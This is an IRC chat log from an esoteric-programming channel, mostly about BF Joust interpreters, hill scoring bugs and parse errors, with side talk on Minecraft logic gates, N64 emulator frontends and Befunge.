05:02:21 <zzo38> Lymia: I don't think so
05:02:38 <ais523> Lymia: zzo38's taking revenge in a way that's vaguely similar to sarcasm, but improved a lot and twisted into near-unrecognisability
05:02:49 <zzo38> I am not Markov bot.
05:02:54 <Lymia> Yes you are.
05:03:01 <zzo38> Actually I am not.
05:03:06 <zzo38> (As far as I know)
05:03:30 <zzo38> How many landmines do you have?
05:03:35 <Lymia> You act like it!
05:04:05 <zzo38> Lymia: Maybe to you it seems like it but actually it is not.
05:04:28 <ais523> <fizzie> Physically press a WIN-WIN SCEs are that. (Highways here
05:04:29 <elliott> ais523: are you sure any of your zzo38 theories are correct?
05:04:34 <zzo38> ais523: Revenge? Why do you think it is revenge?
05:04:37 <ais523> What's Known fact.
05:04:40 <elliott> X-D
05:04:47 <elliott> I'm not sure it's possible to attach logic to zzo38
05:05:03 <ais523> <elliott> Ther and hit silver compounds out two days.net) joined happen fFSPG... atom, molecule money. :P
05:05:11 -!- Lymia_ has joined.
05:05:19 <ais523> <Vorpal> elliott> Sir, are you
05:05:21 -!- Lymia has quit (Disconnected by services).
05:05:22 -!- Lymia_ has changed nick to Lymia.
05:05:24 -!- Lymia has quit (Changing host).
05:05:24 -!- Lymia has joined.
05:06:08 <ais523> OK, enough markovbotting for me
05:08:51 -!- elliott has quit (Ping timeout: 240 seconds).
05:37:45 -!- Lymia has quit (Ping timeout: 240 seconds).
05:46:02 -!- pikhq_ has joined.
05:46:14 -!- pikhq has quit (Ping timeout: 250 seconds).
05:59:20 -!- azaq231 has quit (Quit: Leaving.).
05:59:32 <Gregor> http://lonelydino.com/?id=355
06:10:26 <pikhq_> That was definitely a good one.
06:10:44 * pikhq_ has T-Rex is Lonely in his feed reader.
06:26:06 <jayCampbell> ok water-based minecraft NAND takes 2 torches, 2 sand and 6 signs
06:28:07 <Gregor> Ahhhh, OK, maple soda with appreciably less syrup per liter = a delightful and refreshing experience.
06:28:48 -!- boysetsfrog has joined.
06:30:51 <Gregor> Also I think if I used my normal amount of syrup but less maple it'd be better.
06:31:06 <Gregor> Basically, maple extract is the most crazy-powerful extract I've ever used.
06:31:14 <pikhq_> Gregor: It's fucking maple.
06:31:44 <Gregor> pikhq_: Yeah, so? Anise is fucking ANISE.
06:51:07 -!- fungot has joined.
06:54:58 -!- oerjan has quit (Quit: leaving).
06:55:35 -!- asiekierka has joined.
07:01:53 -!- orcus_nine has quit (Read error: Operation timed out).
07:31:08 -!- pikhq has joined.
07:31:34 -!- pikhq_ has quit (Ping timeout: 272 seconds).
07:44:59 -!- orcus_nine has joined.
07:50:10 -!- orcus_nine has quit (Ping timeout: 276 seconds).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:43 -!- orcus_nine has joined.
08:24:27 -!- orcus_nine has quit (Ping timeout: 260 seconds).
08:31:05 -!- wth has joined.
08:40:11 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
09:06:19 -!- asiekierka has quit (Ping timeout: 276 seconds).
09:23:31 <jayCampbell> redd.it/foxg0
09:25:20 -!- MigoMipo has joined.
09:40:00 -!- Phantom_Hoover has joined.
09:57:21 <Phantom_Hoover> 19:54:26 <Lymia> How did you get from point A to point B? ← ais523's crazy routing algorithm.
09:58:18 <Phantom_Hoover> 20:00:49 <elliott> Lymia: We have tried to troll their IRC channel by suggesting utterly ridiculous features that nobody would ever think are a good idea.
09:59:07 <Phantom_Hoover> Also, elliott attempted to wring a design philosophy out of the designer, although for the sake of my sanity I seem to have forgotten it.
09:59:40 <Phantom_Hoover> 20:03:05 <Sgeo_> Falxon has macros?
09:59:56 <olsner> that sounds interesting, what are you suggesting features for?
10:00:10 <Phantom_Hoover> That was IIRC one of my troll suggestions: Lisp-style macros on the AST.
10:00:19 <Phantom_Hoover> olsner, Falcon.
10:00:24 <Phantom_Hoover> #falcon on Freenode.
10:00:49 <Phantom_Hoover> AKA Borglang.
10:00:49 <olsner> programming language?
10:01:34 <Phantom_Hoover> Yes. It's what you get when someone who thinks "FEEEAAATTTUUUURRREESSS" is a coherent design principle to make a language.
10:01:47 <Phantom_Hoover> s/to make/makes/
10:01:51 <olsner> hmm, doesn't google well... I have now run out of attention to dedicate to this issue
10:02:39 <Phantom_Hoover> 20:04:52 <elliott> i guess the apple versions are different
10:02:56 <Phantom_Hoover> Apple keyboards are US with some minor changes IIRC.
10:16:22 <Phantom_Hoover> 20:22:39 <Sgeo_> Falcon's out-of-band does remind me a bit of Either...
10:16:24 <Phantom_Hoover> HOW
10:26:12 -!- sebbu2 has joined.
10:29:13 -!- sebbu has quit (Ping timeout: 250 seconds).
10:29:57 * Phantom_Hoover wonders how much space a Befunge program needs if it's bounded in one dimension to stay TC.
10:36:28 <olsner> do befunge programs store data (only) in the funge-space?
10:42:42 -!- zzo38 has quit (Remote host closed the connection).
10:43:08 <Phantom_Hoover> olsner, ...no?
10:43:12 <Phantom_Hoover> They have a stack.
10:55:52 -!- BeholdMyGlory has joined.
10:56:55 <Phantom_Hoover> Also, fungespace is still infinite, just bounded in one direction.
10:57:14 <Phantom_Hoover> So in a narrow enough tube, control structures become impossible.
10:58:14 <olsner> but if you have external storage, why would it need to be infinite at all?
10:58:46 <Phantom_Hoover> Because you need to be able to write arbitrarily long programs for TCness.
10:59:27 -!- FireFly has joined.
11:03:16 <olsner> well, yes, but can't you just read the program from stdin? (befunge has IO?)
11:10:40 -!- wth has quit (Quit: Leaving.).
11:11:59 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:14:20 -!- cheater00 has joined.
11:18:27 -!- asiekierka has joined.
11:19:35 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:20:21 -!- cheater00 has joined.
11:51:00 <Gregor> I spilled peppermint extract on my hand.
11:51:02 <Gregor> BURNS SO MUCH.
11:56:24 -!- boysetsfrog has quit (Quit: ...).
12:03:28 <Vorpal> <Phantom_Hoover> That was IIRC one of my troll suggestions: Lisp-style macros on the AST.
12:03:32 <Vorpal> ... they implemented it?
12:03:43 <Phantom_Hoover> No idea.
12:03:56 <Vorpal> Phantom_Hoover, but falcon isn't an AST-language iirc. You need something like lisp syntax to do it!
12:04:48 -!- MigoMipo has quit (Read error: Connection reset by peer).
13:12:20 -!- asiekierka has quit (Ping timeout: 250 seconds).
13:16:39 <Phantom_Hoover> Vorpal, hence "AST".
13:30:15 <Vorpal> Phantom_Hoover, yes but that's insane
13:38:17 <Phantom_Hoover> Yes, that's the point.
13:55:32 -!- pikhq_ has joined.
13:55:56 -!- pikhq has quit (Ping timeout: 276 seconds).
14:11:02 -!- pikhq has joined.
14:11:18 -!- pikhq_ has quit (Ping timeout: 264 seconds).
14:13:50 <Vorpal> extra/libsamplerate 0.1.7-1 [installed]
14:13:51 <Vorpal> Secret Rabbit Code - aka Sample Rate Converter for audio
14:13:57 <Vorpal> strange package description
14:16:06 -!- pikhq has quit (Read error: Operation timed out).
14:16:20 -!- pikhq has joined.
14:21:14 <fizzie> Description: Audio sample rate conversion library
14:21:14 <fizzie> libsamplerate (aka Secret Rabbit Code) is a library for audio rate conversion.
14:21:19 <fizzie> I guess it's their official code name.
14:21:32 <Vorpal> ah
14:22:38 <fizzie> Actually based on http://www.mega-nerd.com/SRC/ it seems that Secret Rabbit Code is the official name, and libsamplerate is just their boring business name. :p
14:30:15 -!- sebbu has joined.
14:30:23 -!- sebbu has quit (Changing host).
14:30:23 -!- sebbu has joined.
14:33:27 -!- sebbu2 has quit (Ping timeout: 246 seconds).
14:35:34 -!- pikhq has quit (Ping timeout: 240 seconds).
14:35:50 -!- pikhq has joined.
14:36:11 -!- asiekierka has joined.
14:49:44 -!- iconmaster has joined.
14:55:01 -!- sebbu has quit (Read error: Connection reset by peer).
14:55:32 -!- sebbu has joined.
14:55:32 -!- sebbu has quit (Changing host).
14:55:32 -!- sebbu has joined.
15:22:33 -!- Mathnerd314 has joined.
15:23:20 -!- Behold has joined.
15:23:25 <Vorpal> Behold, BeholdMyGlory, there?
15:23:38 -!- BeholdMyGlory has quit (Read error: Operation timed out).
15:23:58 <Ilari> Haha... "The current protocol for IP addresses is defined as IPv4 which is the fourth revision of the Internet protocol.". Except that it is the first verion of IP itself and the second version of low-level packet protocols.
15:24:06 <Vorpal> Behold, just wondering about one thing I saw... Are you involved in mupen64 stuff, or is that someone else with the same nick?
15:24:22 <Ilari> Ugh. Mupen64.
15:24:31 <Vorpal> Ilari, mupen64plus to be accurate
15:24:36 <Vorpal> Ilari, what's wrong with it?
15:24:44 <Vorpal> Ilari, there aren't really any choices if you are on linux
15:25:04 <Behold> Vorpal: That's me, I started building a PyQt frontend for Mupen64Plus, though I gave up on in mainly because of lack of time etc
15:25:19 <Ilari> Ah, mupen64plus.
15:25:21 <Vorpal> Behold, ah... I was searching for a frontend to use with the newish versions
15:25:36 <Behold> You'll want to use wxMupen64Plus
15:25:47 <Vorpal> Behold, got a link? I didn't see it listed anywhere
15:25:52 <Behold> https://bitbucket.org/auria/wxmupen64plus
15:25:59 <Ilari> There's talk (but no action) about adding rerecording to Mupen64plus.
15:26:11 <Vorpal> Behold, how feature-complete is it? compared to the old 1.5-series GUI
15:26:31 <Vorpal> Ilari, personally that is not a feature I care about, so I don't really feel any problems with it lacking
15:26:34 <Behold> Well, I haven't tested it yet myself, but Auria claims it's just about ready for a 0.1 release
15:26:35 <Vorpal> I just want the games to play well
15:26:40 <Behold> Config works, ROM browser works
15:26:48 <Vorpal> Behold, cheats? ;P
15:26:53 <Behold> No idea :P
15:27:05 <Vorpal> Behold, I wanted to try out that making-link-fly-in-oot one
15:27:11 <Vorpal> just to see what it was like
15:27:15 <Vorpal> (I beat the game ages ago)
15:27:19 <Behold> You can ask in #mupen64plus, Auria seems to be online at the moment
15:27:34 <Vorpal> Behold, meh, can just as well download and try it out
15:27:35 <ais523> rerecording has a bunch of advantages for even casual players
15:27:41 <ais523> because everyone wants their savestates to work properly
15:28:08 <Vorpal> ais523, isn't save states just about dumping the complete internal state at a given point?
15:28:09 <Behold> Vorpal: Note though, that you have to symlink the plugins to PREFIX/lib/wxmupen64plus
15:28:19 <Behold> For the time being
15:28:20 <Vorpal> Behold, okay, that's strange
15:28:41 <Behold> It's quite new and mainly developed on OS X, so that's why
15:28:54 <Vorpal> Behold, hm no Makefile
15:28:57 <ais523> Vorpal: if you can do that reliably and reproducably, rerecording's almost trivila
15:28:59 <ais523> *trivial
15:29:03 <ais523> but a lot of emulators can't
15:29:07 <Vorpal> "waf"?
15:29:09 <ais523> due to issues like threading
15:29:11 <Vorpal> what the heck is that
15:29:12 <Behold> Yup, waf
15:29:22 <Vorpal> Behold, but what is it?
15:29:23 <Behold> I think it's Python based
15:29:40 <Vorpal> Behold, doesn't seem to be in arch linux repos
15:29:45 <Vorpal> at least not under that name
15:29:48 <Behold> Nope, in AUR as python-waf
15:29:57 <Vorpal> Behold, meh, work :P
15:30:19 <Behold> Also, you need wxgtk-2.9 from AUR
15:30:56 <Vorpal> Behold, *way* too much work
15:31:01 <Vorpal> Behold, I'll just use command line
15:31:17 <Sgeo_> But I don't WANNA take in nutrients
15:31:21 <Behold> All right, though you could just use yaourt or something :P
15:31:27 <Phantom_Hoover> Sgeo_, THEY'RE GOOD FOR YOU
15:31:28 <Behold> For installing the packages
15:31:31 <Phantom_Hoover> EAT YOUR GREENS
15:31:34 <Vorpal> Behold, I would
15:31:34 <Phantom_Hoover> ALSO VITAMIN C
15:31:41 <Vorpal> Behold, yes but I have a Sempron 3300+
15:31:44 <Vorpal> Behold, this would take ages to build
15:31:48 <Vorpal> wxgtk I mean
15:32:18 * Phantom_Hoover tries to think how long the IWC timestream has been exploding for.
15:32:27 <Behold> Oh, okay
15:33:14 <fizzie> Waf is yet another build system; but installing anything shouldn't be necessary for building waffy stuff, they just bundle the waf script. (Though I guess if it's a development repo and not a release, it might not include that.)
15:39:38 <Ilari> Basically, if you have reliable savestating, save stream of inputs so far into savestate, have option to export inputs and have a way to play back inputs from given file.
15:44:25 <Sgeo_> I'm bored
15:44:38 <Sgeo_> Should I play with Windows Server 2003 or Windows Server 2008
15:46:42 <fizzie> You should average them to get Windows Server 2005.5, it has novelty value.,
15:48:11 <Sgeo_> lol
15:48:41 * Sgeo_ wonders if there are Chrome skins for Firefox
15:48:43 * Sgeo_ googles
15:49:02 <Sgeo_> This will annoy elliott, who doesn't believe in making one browser look like another.
15:49:12 <Sgeo_> Fuck his beliefs.
15:49:41 <fizzie> Religious intolerance? On my #esoteric? Well, I never!
15:50:21 <Sgeo_> Chromifox doesn't do what I need
15:54:02 <olsner> fizzie: bah, tolerance is boring
15:55:46 <fizzie> olsner: Not if it's ZERO TOLERANCE.
15:55:52 <fizzie> That sounds so sci-fi.
16:01:26 -!- pikhq_ has joined.
16:01:33 -!- pikhq has quit (Ping timeout: 260 seconds).
16:24:44 -!- MigoMipo has joined.
16:34:23 <fizzie> http://zem.fi/egostats/ -- first per-program plots: those "average tape contents at the end of a match for different tape lengths" plots for everyone.
16:34:51 <fizzie> I should probably try to find a job which involves mostly plotting different kinds of graphs. :p
16:35:16 <ais523> fizzie: "person who makes managers' reports look snazzy"
16:35:33 <ais523> there's probably a snappier name for that, but it's entirely in marketingspeak so nobody understands it
16:40:42 <fizzie> I don't know, aren't those graphs and plots mostly content-free? (Though I guess the egojoust plots I've been cranking -- pun inteded -- out are a bit on the silly side too. The "program size vs. score" scatterplot reminds me of that pirates/global warming graph.)
16:50:44 <Vorpal> fizzie, what about the author similarity graph?
16:51:51 <quintopia> fizzie: what's left on the tape at the end of a match is not as useful as what "this program left in the cell the last time it moved away from it"
16:53:43 <fizzie> quintopia: Yes, but the former was easier to collect. I'll try the latter thing too.
16:54:53 <quintopia> fizzie: it's not hard to collect. just have a parallel array as you simulate it, and every time a > happens, it copies the value from that cell to the other array iff it has a greater magnitude value.
16:55:08 <fizzie> Yes, I didn't say "hard"; I said the other was easier.
16:55:34 <quintopia> mm
17:06:45 <fizzie> Now it collects that; but it needs to be swangled into a plot too.
17:10:36 <fizzie> All these statistics are bloating my poor results.txt; it's 11.5 megabytes already.
17:13:00 -!- asiekierka has quit (Read error: Operation timed out).
17:13:33 <quintopia> lol
17:13:43 <quintopia> you keep it all in a txt file?
17:13:58 <fizzie> It goes into a .txt file first, then it's parsed into a .npz and a .dat.
17:14:47 <fizzie> (The first is numpy's own storage format; the second is just a pickle'd Python data structure.)
17:20:13 <fizzie> The "take max at < and >" strategy ends up copying opponent-set tape structures if the program just >s over them, but I don't think I can be bothered to write some sort of "maximum value the program actually edited" thing; besides, even that will fail if the program jiggles the cell.
17:20:26 <fizzie> The plots are there now, anyway; they have some amount of correlation, but that's not surprising.
17:22:30 <fizzie> Well, the defend9.5 and defend9.75 -built structures are a lot more visible on the max-left graphs.
17:23:28 <quintopia> http://zem.fi/egostats/plot_p38_ptapemax.png haha
17:23:49 <quintopia> space_elevator *always loses* on tape length 10 :P
17:24:38 <fizzie> Not quite; according to http://zem.fi/egostats/plot_tlpoints.png the average points on tape 10 are quite close to 0.
17:24:46 <fizzie> There are more spectacular losers, like myndzi_3pass.
17:25:23 <fizzie> FFSPG used to pretty much always lose on tape length 10 too, until Gregor special-cased it.
17:26:29 <quintopia> well that plot indicates that it at least *almost* always loses there
17:26:36 <quintopia> i can special case it too
17:26:40 <quintopia> to use a faster clear
17:27:53 <fizzie> As an aside, your "chilling" is broken on these stats; I still haven't fixed the undocumented-hack "*-1" in cranklance to do anything sensible, so it parses as *0.
17:31:13 <quintopia> !bfjoust space_elevator http://sprunge.us/VTjO
17:31:19 <quintopia> let's see if that improves
17:35:48 <EgoBot> Score for quintopia_space_elevator: 52.3
17:37:16 <quintopia> yep. it went up slightly.
17:38:12 -!- BeholdMyGlory has joined.
17:38:59 -!- Behold has quit (Ping timeout: 240 seconds).
17:41:18 -!- pikhq has joined.
17:42:01 -!- pikhq_ has quit (Ping timeout: 276 seconds).
17:46:15 * Sgeo_ is going to try Linux From Scratch at some point
17:47:43 -!- augur has quit (Remote host closed the connection).
17:48:39 <Gregor> elliott: WHERETF IS LANCE
17:48:49 <Gregor> fizzie: I'm tired of waiting, how's cranklance?
17:49:11 <Gregor> fizzie: (And can it generate the states table on-demand? :) )
17:49:31 <fizzie> For your purposes, you might find gearlance more suitable. :p
17:50:09 <fizzie> (It's crank but with all the kludged-in tape/whatever statistics collection dropped out; it just outputs vaguely egojoust-like <<>><X<<blah-line.)
17:50:24 <Gregor> I don't necessarily need egojoust-style output *shrugs*
17:51:02 <fizzie> Well, cranklance outputs 169 lines of statistics for each match.
17:52:24 * Gregor hmms.
17:52:49 -!- poiuy_qwert has joined.
17:53:03 <fizzie> I think I'll manually compare crank/gear against egojsout for a few games.
17:53:36 <quintopia> you should probably throw in the whole s/*-1/100000/ thing
17:53:44 <quintopia> err
17:53:47 <quintopia> *100000
17:53:50 <quintopia> you know XD
17:54:02 -!- Mathnerd314 has quit (Ping timeout: 250 seconds).
17:54:40 <fizzie> At least allegro vs. FFSPG gives identical (score-wise; didn't compare traces) results.
17:55:15 <Gregor> fizzie: Sauce.
17:56:10 <fizzie> Decoybooster2 vs. quapping_turtle too.
17:56:28 <Gregor> How 'bout jix_wiggle3 v aiswhatever_defend14
17:56:47 <fizzie> Parse error vs. parse error. :p
17:56:55 <Gregor> HOORAY
17:57:37 * Sgeo_ wonders if Linux XP has stopped being downright evil yet
17:58:24 * Sgeo_ is going to try it
17:58:59 <fizzie> It's just one file, so you can find it at http://zem.fi/~fis/gearlance.c -- I think the summed score at the end of the <<>> characters is in fact opposite sign than egojoust (at least it's the opposite sign than egojsout); and it runs only 42 configs (straight/straight and straight/inverted) and doesn't return-from-main the score.
18:00:20 <fizzie> And there's the oft-mentioned -1 thing.
18:00:48 <fizzie> I wasn't really setting out to write a egojoust replacement here, since, you know, lance was 98% done or however much it was again, I forget.
18:02:08 <Gregor> fizzie: Can haz copyright and license header.
18:02:24 * Sgeo_ abruptly decides that he's not interested.
18:04:32 <Sgeo_> http://peppermintos.com/
18:04:45 <Sgeo_> What the fuck does "fully integrates with <list of websites>" mean?
18:05:34 <fizzie> Gregor: Okay, I copypasted a BSD2 header from Wikipedia into the file. Let's hope it doesn't have any unfilled <copyright holder> placeholders.
18:06:14 <fizzie> Sgeo_: That the <list of websites> is pre-bookmarked in the browser?-)
18:06:25 <Sgeo_> hehe
18:06:27 <Sgeo_> Hmm
18:06:41 <Sgeo_> Ah. They're pre-bookmarked in the menu
18:06:54 <Sgeo_> http://peppermintos.com/wp-content/uploads/2010/04/Office_menu-300x187.jpg
18:06:58 <fizzie> I guess they could have even Prism'd them or something fancy.
18:07:08 <Sgeo_> They say they use Prism
18:07:15 <Sgeo_> http://peppermintos.com/screenshots/
18:07:19 <fizzie> Ah. Well, then.
18:08:03 <jayCampbell> ais523: and Phantom_Hoover and folks,
18:08:15 <Sgeo_> "On February 1, 2011, Mozilla announced that Prism would no longer be maintained, its ideas having been subsumed into a newer project called Chromeless"
18:09:16 <jayCampbell> http://www.minecraftforum.net/viewtopic.php?f=1020&t=185543
18:09:23 <fizzie> prism.mozillalabs.com is curiously silent about it being deprecated technology.
18:09:32 <jayCampbell> minecraft water nand gate nailed down
18:10:01 <Sgeo_> Let's burn the redstone stockpiles to the ground!
18:10:46 <jayCampbell> everyone bitches about "but you have to reset it yourself"
18:10:56 <jayCampbell> if i wanted easy i'd break out photoshop
18:11:10 <jayCampbell> doing it the hard way is sort of the point
18:15:02 <ais523> jayCampbell: there's a separate channel, #esoteric-minecraft, for Minecraft discussion
18:15:14 <ais523> because it got to such a point that it was drowning out everything else in the channel
18:15:27 <ais523> (even though Minecrafy is obviously ontopic here, being an esolang)
18:16:19 <jayCampbell> that's actually how i got back on this server
18:16:30 <jayCampbell> but folks on that channel said it wasn't for esoteric minecraft programming
18:16:38 <fizzie> Yes, it's a badly named channel.
18:17:12 <fizzie> It's more about a particular server which has a number of #esoteric folks on it; I think for actual programming-related stuff #esoteric-"main" is more suitable.
18:19:05 <quintopia> jayCampbell: build an 8-bit adder and i will promote your youtube video
18:19:35 -!- sebbu has quit (Ping timeout: 250 seconds).
18:20:00 -!- sebbu has joined.
18:21:48 <jayCampbell> that's sort of the goal
18:21:50 <fizzie> Gregor: I updated the .c file with one that does finally do the -1 thing too.
18:22:37 <jayCampbell> i think there's not enough vertical room to do 8 bit multiplication
18:23:26 <jayCampbell> also can't stop thinking about the fire-based gates
18:25:03 <fizzie> Gregor: Also, are you sure you don't want to wait for a (..[..)-strict implementation any longer simply because eliminating the current incompatible contestants (defend14, spookygoth, wiggle3, careful, careless) will bump your FFSPG score up by a whole lot?
18:25:18 <Gregor> fizzie: law
18:25:19 <Gregor> *lawl
18:25:29 <Gregor> fizzie: Actually I was considering rewriting at least the ones that nobody's maintaining
18:25:40 <Gregor> fizzie: ais523 can rewrite defend14 himself :P
18:25:49 <fizzie> You could probably just expand them out if nothing else.
18:26:10 <fizzie> Okay, based on file sizes the others seem reasonably short.
18:26:28 -!- Mathnerd314 has joined.
18:29:14 <fizzie> I think crank/gear should do the ((a{b{c}d}e)*3)*2 → aaabaaabcdddeddde thing right, but I haven't really tested that one.
18:31:14 <Phantom_Hoover> <jayCampbell> i think there's not enough vertical room to do 8 bit multiplication
18:31:24 <Phantom_Hoover> Obvious solution: sand gates.
18:31:45 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
18:36:25 <jayCampbell> hm?
18:36:47 -!- azaq23 has joined.
18:36:58 <jayCampbell> i mean these gates need a couple spaces of vertical drop each to function
18:37:14 -!- augur has joined.
18:37:34 <jayCampbell> oh, do you mean like,
18:38:05 <jayCampbell> when computation is approaching bedrock,
18:38:46 <jayCampbell> knock out torches under tall columns of sand which releases certain water streams at cloud layer
18:38:52 <pikhq> "Computation is approaching bedrock", eh? All in favor of creating a Minecraft computer at bedrock with I/O at surface level?
18:39:25 <pikhq> Even better, create a Youtube video and claim that somehow it's all being done in an obviously insufficient Redstone circuit. Just to fuck with people. :)
18:39:27 <fizzie> "Captain, the computation is approaching bedrock!" is something I could imagine hearing in some scifi-ish anime series.
18:39:44 <pikhq> fizzie: Seems like something Gainax would write.
18:40:08 <fizzie> Oh, and "Deploy sand gates!" is a very appropriate response, too.
18:40:19 <pikhq> :)
18:44:23 <Gregor> 1 25 69.86 32.21 Gregor_furry_furry_strapon_pegging_girls.bfjoust
18:44:24 <Gregor> 2 26 58.66 20.90 Gregor_ill_bet_you_have_four_decoys.bfjoust
18:44:24 <Gregor> 3 14 52.80 22.05 Deewiant_allegro.bfjoust
18:44:24 <Gregor> 4 43 52.28 21.33 quintopia_space_elevator.bfjoust
18:44:24 <Gregor> 5 17 51.77 21.24 Deewiant_pendolino.bfjoust
18:44:24 <Gregor> 6 24 51.24 20.90 Gregor_furry_furry_leather_discipline_girls.bfjoust
18:44:25 <Gregor> Bahahaahahah
18:44:28 <Gregor> fizzie: Bug?
18:44:49 <Gregor> Actually, maybe the four borken programs caused that.
18:44:52 <jayCampbell> searched "sand gate", had never seen this 16-bit adder in pure sand
18:45:12 <Gregor> fizzie: (I was actually referring to "ill_bet_you_have_four_decoys" being second as the potential bug)
18:45:30 <fizzie> Gregor: Weirdness; I don't see that here.
18:45:33 <jayCampbell> quintopia: http://www.minecraftforum.net/viewtopic.php?f=23&t=6471
18:45:50 <fizzie> Though it is #7 here, which is a bit suspicious.
18:46:00 <Gregor> fizzie: It's #7 in reality.
18:46:12 <fizzie> Ah.
18:46:17 <fizzie> Hmm.
18:47:29 <Gregor> fizzie: Hmm, wait, it's #7 when done with gearlance for you?
18:47:35 <ais523> so, is four tripwires the new optimal number to avoid?
18:47:44 <fizzie> Gregor: Well, crank, but it's very identical code.
18:47:56 <fizzie> (My stats script parses the cranklance extended output.)
18:48:05 <fizzie> http://zem.fi/~fis/egostats/ are crank-given results.
18:48:07 <Gregor> ais523: It's not even tripwires, just any four decoys :P
18:48:49 <Gregor> fizzie: Why do you have 42 programs?
18:49:13 <fizzie> 47 from in_egobot, minus those five which parse-error.
18:49:34 <Gregor> Five? I have only four with parse errors.
18:50:09 <fizzie> Maybe my hill is not quite the latest.
18:50:45 <Gregor> fizzie: Can you update it and see if ill_bet_you_have_four_decoys moves? I strongly suspect that it bumped up just because all of its real competition was killed for parse errors, but that might have been after some change you don't have ...
18:51:11 <fizzie> I should probably hg clone your hill instead of wget -r -l 1 -A bfjoust -nd -np all the time. :p
18:51:18 <Gregor> Yes :P
18:52:04 <fizzie> No, I still get five parse errors:
18:52:04 <fizzie> $ ls hill/*.bfjoust | while read f; do echo -n "$f "; ./gearlance $f $f; done | grep parse
18:52:04 <fizzie> hill/ais523_defend14.bfjoust parse error: [..] crossing out of a ({..}) level
18:52:04 <fizzie> hill/impomatic_spookygoth.bfjoust parse error: [..] crossing out of a ({..}) level
18:52:04 <fizzie> hill/jix_wiggle3.bfjoust parse error: [..] crossing out of a ({..}) level
18:52:04 <fizzie> hill/myndzi_careful.bfjoust parse error: [..] crossing out of a ({..}) level
18:52:06 <fizzie> hill/myndzi_careless.bfjoust parse error: [..] crossing out of a ({..}) level
18:53:00 <Gregor> Oh, hahahah, I ran it through report so it deleted defend14 :P
18:54:06 <Gregor> Anyway, still doesn't explain the score.
18:56:24 <fizzie> Right. I get 42.39 score, -0.10 points for Gregor_ill_bet_you_have_four_decoys here. Do you have some sort of a breakdown.txt for it?
18:58:15 <Gregor> fizzie: http://sprunge.us/jVYE
18:58:17 -!- sebbu2 has joined.
18:58:17 -!- sebbu2 has quit (Changing host).
18:58:17 -!- sebbu2 has joined.
18:59:34 <Gregor> Huh, the scores are still backwards, but in a weird way.
18:59:40 <Gregor> As they're not always backwards or something ...
19:00:03 <Gregor> Aha
19:00:12 <Gregor> I only reversed the scores in one place >_>
19:01:07 <Gregor> fizzie: http://sprunge.us/SQiS Bug?
19:01:35 -!- sebbu has quit (Ping timeout: 250 seconds).
19:01:45 <Gregor> fizzie: Or is that just to make it tie?
19:02:17 <Gregor> OK, yeah, that bugfix bugfixed it.
19:02:50 <fizzie> At least the intended logic there is that fallA doesn't insta-quit to check for ties, while fallB does insta-quit while independently checking for ties. (And the next-cycle code doesn't check for fall-off-a-tape at all.)
19:03:43 <Gregor> Got it.
19:04:06 <Gregor> I had neglected to change the score direction there, so it turned a loss into a SUPERLOSS.
19:04:12 <Gregor> Or maybe a superwin ...
19:04:14 <Gregor> Either way it was wrong.
19:04:44 <fizzie> Right; you might have wanted just to put -score instead of score in main(), you know. :p
19:05:02 -!- Sgeo has joined.
19:05:26 <Sgeo> How not to make an impressive YouTube video: Show an OS booting for a minute
19:05:29 <Sgeo> Seriously
19:05:37 <Sgeo> http://www.youtube.com/watch?v=unb8P0xVgbI
19:06:15 <fizzie> (It used to be so that the score++/score-- in run() directly affected the running sum, but currently the value -- which is always -1, 0 or 1 -- is written into an array, and main() then prints out the <>s after everything's been done, and computes the sum.)
19:06:24 <Phantom_Hoover> Sgeo, I'M ON THE EDGE OF MY SEAT
19:06:32 <Phantom_Hoover> OMG PROGRESS BAR
19:06:35 <Phantom_Hoover> IS IT GOING TO START
19:06:43 <Phantom_Hoover> THE TENSION IS KILLING ME
19:07:13 <Gregor> !bfjoust watch_gearlance_faillol <3
19:07:13 <Phantom_Hoover> THIS MAN IS HITCHCOCKIAN IN HIS MASTERY OF OMG IT'S MOVING
19:07:31 <Phantom_Hoover> AND IT'S PAST HALFWAy
19:07:46 <Phantom_Hoover> OMG IT WENT BLACK WHILE THE BAR WAS IN THE MIDDLE
19:07:57 <Phantom_Hoover> MOUSE LOGINSCREENDESKTOPOMG
19:08:23 <Phantom_Hoover> LOOK AT THAT STANDARD GNOME DESKTOP WITH
19:08:28 <Phantom_Hoover> SLIGHTLY DIFFERENT FONTS
19:08:28 -!- sebbu2 has changed nick to sebbu.
19:09:13 <fizzie> Gregor: It would be hileeeerious if you double-flipped the scores again somehow and that got a 100.0.
19:09:55 <Gregor> if (!strncmp(argv[1], "Gregor_", 7)) score = -42; else if (!strncmp(argv[2], "Gregor_", 7)) score = 42;
19:10:41 * Gregor wonders what's going on ...
19:11:01 <fizzie> http://codu.org/eso/bfjoust/breakdown.txt seems to be getting quite long.
19:11:09 <Gregor> Oh for eff's sake >_<
19:11:23 <Gregor> It's also quite wrong :P
19:11:33 <Gregor> It was going to call everyone a tie with everyone.
19:11:46 <Gregor> (In spite of what breakdown said)
19:12:12 <fizzie> Heh, that's very... diplomatic.
19:12:23 <Gregor> !bfjoust watch_gearlance_faillol <3
19:12:46 <EgoBot> Score for Gregor_watch_gearlance_faillol: 0.0
19:12:47 <EgoBot> Score for Gregor_watch_gearlance_faillol: 0.0
19:13:10 <Gregor> THE REVOLUTION IS OVER
19:13:57 <fizzie> You realize I'm going to shift all the blame for lance-ursurpuration over to you when elliott asks? :p
19:14:15 <Gregor> It is entirely my fault.
19:14:17 <Gregor> But come on.
19:14:28 <Gregor> We gave him over a week to implement what is essentially an elaborate Brainfuck interpreter.
19:14:52 <fizzie> I'm going to be all "but all I wanted was beautiful butterfly pictures! it's not me! it's him!"
19:15:04 -!- oerjan has joined.
19:17:11 <oerjan> is it tunes.org that is slow, or just my connection...
19:17:30 <ais523> it can be pretty slow
19:17:34 <Gregor> !bfjoust return_of_myndzi_careless >+++++>+++++>----->----->+>->>>((>[(-)*126(-.)*3{}])*22)*22
19:17:40 <ais523> but to me, it doesn't seem to be consistent
19:17:49 <oerjan> starting a reload seemed to help
19:18:02 <Gregor> Whoops, did that wrong.
19:18:05 <EgoBot> Score for Gregor_return_of_myndzi_careless: 30.1
19:18:14 <Gregor> !bfjoust return_of_myndzi_careless >+++++>+++++>----->----->+>->>>((>[(-)*126(-.)*3{}])%22)*22
19:18:17 <EgoBot> Score for Gregor_return_of_myndzi_careless: 30.7
